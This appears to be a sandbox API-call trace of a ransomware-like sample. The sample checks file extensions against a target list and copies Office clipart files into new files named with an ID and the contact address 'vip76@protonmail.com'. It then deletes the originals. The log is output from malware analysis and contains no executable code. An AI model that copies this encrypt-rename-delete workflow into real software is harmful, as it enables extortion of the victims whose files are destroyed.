	[0205.081] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0205.081] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0205.081] Wow64DisableWow64FsRedirection (in: OldValue=0x317ff50 | out: OldValue=0x317ff50*=0x0) returned 1
	[0205.081] lstrlenW (lpString="kernel32.dll") returned 12
	[0205.081] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59e0b8 | out: hHeap=0x560000) returned 1
	[0205.081] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0205.081] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59e180 | out: hHeap=0x560000) returned 1
	[0205.081] Sleep (dwMilliseconds=0x64) 
	[0205.304] lstrcmpiW (lpString1=".ini", lpString2=".html") returned 1
	[0205.304] lstrlenW (lpString="desktop.ini") returned 11
	[0205.304] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0205.304] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=129) returned 1
	[0205.304] CloseHandle (hObject=0x328) returned 1
	[0205.304] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26
	[0205.304] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[vip76@protonmail.com].html")) returned 0x26
	[0205.305] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0205.305] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0205.305] lstrlenW (lpString=".doc") returned 4
	[0205.305] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0205.305] lstrlenW (lpString=".docx") returned 5
	[0205.305] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0205.305] lstrlenW (lpString=".pdf") returned 4
	[0205.305] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0205.305] lstrlenW (lpString=".xls") returned 4
	[0205.305] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0205.305] lstrlenW (lpString=".xlsx") returned 5
	[0205.305] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0205.305] lstrlenW (lpString=".ppt") returned 4
	[0205.305] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0205.305] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0205.305] lstrlenW (lpString=".zip") returned 4
	[0205.305] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0205.305] lstrlenW (lpString=".rar") returned 4
	[0205.305] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0205.305] lstrlenW (lpString=".bz2") returned 4
	[0205.305] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0205.305] lstrlenW (lpString=".7z") returned 3
	[0205.305] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0205.305] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0205.305] lstrlenW (lpString=".dbf") returned 4
	[0205.306] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0205.306] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0205.306] lstrlenW (lpString=".1cd") returned 4
	[0205.306] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0205.306] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0205.306] lstrlenW (lpString=".jpg") returned 4
	[0205.306] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0205.306] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0205.306] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0205.306] lstrlenW (lpString=".doc") returned 4
	[0205.306] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0205.306] lstrlenW (lpString=".docx") returned 5
	[0205.306] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0205.306] lstrlenW (lpString=".pdf") returned 4
	[0205.306] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0205.306] lstrlenW (lpString=".xls") returned 4
	[0205.306] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0205.306] lstrlenW (lpString=".xlsx") returned 5
	[0205.306] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0205.306] lstrlenW (lpString=".ppt") returned 4
	[0205.306] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0205.306] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0205.306] lstrlenW (lpString=".zip") returned 4
	[0205.306] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0205.306] lstrlenW (lpString=".rar") returned 4
	[0205.306] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0205.306] lstrlenW (lpString=".bz2") returned 4
	[0205.306] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0205.306] lstrlenW (lpString=".7z") returned 3
	[0205.306] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0205.307] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0205.307] lstrlenW (lpString=".dbf") returned 4
	[0205.307] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0205.307] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0205.307] lstrlenW (lpString=".1cd") returned 4
	[0205.307] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0205.307] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0205.307] lstrlenW (lpString=".jpg") returned 4
	[0205.307] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0205.307] Sleep (dwMilliseconds=0x64) 
	[0205.568] Sleep (dwMilliseconds=0x64) 
	[0205.949] Sleep (dwMilliseconds=0x64) 
	[0206.600] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0206.600] lstrlenW (lpString="FD00459_.WMF") returned 12
	[0206.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0206.600] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=17406) returned 1
	[0206.600] CloseHandle (hObject=0x384) returned 1
	[0206.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220
	[0206.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0206.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0206.601] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.601] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0206.601] GetLastError () returned 0x0
	[0206.601] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x43fe, lpOverlapped=0x0) returned 1
	[0206.618] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0x4400, lpOverlapped=0x0) returned 1
	[0206.619] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0206.619] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0206.620] SetEndOfFile (hFile=0x388) returned 1
	[0206.620] CloseHandle (hObject=0x388) returned 1
	[0206.620] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.620] SetEndOfFile (hFile=0x384) returned 1
	[0206.621] CloseHandle (hObject=0x384) returned 1
	[0206.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0206.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1
	[0206.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0206.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0206.622] lstrlenW (lpString=".doc") returned 4
	[0206.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.622] lstrlenW (lpString=".docx") returned 5
	[0206.622] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.622] lstrlenW (lpString=".pdf") returned 4
	[0206.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.622] lstrlenW (lpString=".xls") returned 4
	[0206.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.622] lstrlenW (lpString=".xlsx") returned 5
	[0206.622] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.622] lstrlenW (lpString=".ppt") returned 4
	[0206.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0206.622] lstrlenW (lpString=".zip") returned 4
	[0206.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.622] lstrlenW (lpString=".rar") returned 4
	[0206.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.622] lstrlenW (lpString=".bz2") returned 4
	[0206.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.622] lstrlenW (lpString=".7z") returned 3
	[0206.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0206.623] lstrlenW (lpString=".dbf") returned 4
	[0206.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0206.623] lstrlenW (lpString=".1cd") returned 4
	[0206.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0206.623] lstrlenW (lpString=".jpg") returned 4
	[0206.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0206.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0206.623] lstrlenW (lpString=".doc") returned 4
	[0206.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.623] lstrlenW (lpString=".docx") returned 5
	[0206.623] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.623] lstrlenW (lpString=".pdf") returned 4
	[0206.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.623] lstrlenW (lpString=".xls") returned 4
	[0206.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.623] lstrlenW (lpString=".xlsx") returned 5
	[0206.623] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.626] lstrlenW (lpString=".ppt") returned 4
	[0206.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0206.626] lstrlenW (lpString=".zip") returned 4
	[0206.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.626] lstrlenW (lpString=".rar") returned 4
	[0206.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.626] lstrlenW (lpString=".bz2") returned 4
	[0206.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.626] lstrlenW (lpString=".7z") returned 3
	[0206.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0206.627] lstrlenW (lpString=".dbf") returned 4
	[0206.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0206.627] lstrlenW (lpString=".1cd") returned 4
	[0206.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0206.627] lstrlenW (lpString=".jpg") returned 4
	[0206.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.627] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0206.627] lstrlenW (lpString="FD00543_.WMF") returned 12
	[0206.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0206.627] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=1472) returned 1
	[0206.627] CloseHandle (hObject=0x384) returned 1
	[0206.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220
	[0206.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0206.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0206.628] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.628] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0206.629] GetLastError () returned 0x0
	[0206.629] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x5c0, lpOverlapped=0x0) returned 1
	[0206.630] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0x5d0, lpOverlapped=0x0) returned 1
	[0206.631] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0206.631] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0206.631] SetEndOfFile (hFile=0x388) returned 1
	[0206.631] CloseHandle (hObject=0x388) returned 1
	[0206.631] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.631] SetEndOfFile (hFile=0x384) returned 1
	[0206.632] CloseHandle (hObject=0x384) returned 1
	[0206.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0206.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 1
	[0206.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0206.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0206.633] lstrlenW (lpString=".doc") returned 4
	[0206.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.633] lstrlenW (lpString=".docx") returned 5
	[0206.633] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.633] lstrlenW (lpString=".pdf") returned 4
	[0206.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.633] lstrlenW (lpString=".xls") returned 4
	[0206.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.633] lstrlenW (lpString=".xlsx") returned 5
	[0206.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.633] lstrlenW (lpString=".ppt") returned 4
	[0206.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0206.633] lstrlenW (lpString=".zip") returned 4
	[0206.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.633] lstrlenW (lpString=".rar") returned 4
	[0206.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.633] lstrlenW (lpString=".bz2") returned 4
	[0206.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.633] lstrlenW (lpString=".7z") returned 3
	[0206.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0206.634] lstrlenW (lpString=".dbf") returned 4
	[0206.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0206.634] lstrlenW (lpString=".1cd") returned 4
	[0206.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0206.634] lstrlenW (lpString=".jpg") returned 4
	[0206.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0206.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0206.634] lstrlenW (lpString=".doc") returned 4
	[0206.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.634] lstrlenW (lpString=".docx") returned 5
	[0206.634] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.634] lstrlenW (lpString=".pdf") returned 4
	[0206.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.634] lstrlenW (lpString=".xls") returned 4
	[0206.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.634] lstrlenW (lpString=".xlsx") returned 5
	[0206.634] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.634] lstrlenW (lpString=".ppt") returned 4
	[0206.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0206.634] lstrlenW (lpString=".zip") returned 4
	[0206.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.634] lstrlenW (lpString=".rar") returned 4
	[0206.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.634] lstrlenW (lpString=".bz2") returned 4
	[0206.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.634] lstrlenW (lpString=".7z") returned 3
	[0206.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0206.635] lstrlenW (lpString=".dbf") returned 4
	[0206.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0206.635] lstrlenW (lpString=".1cd") returned 4
	[0206.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0206.635] lstrlenW (lpString=".jpg") returned 4
	[0206.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.635] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0206.635] lstrlenW (lpString="FD00544_.WMF") returned 12
	[0206.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0206.635] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=5260) returned 1
	[0206.635] CloseHandle (hObject=0x384) returned 1
	[0206.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220
	[0206.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0206.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0206.636] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.636] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
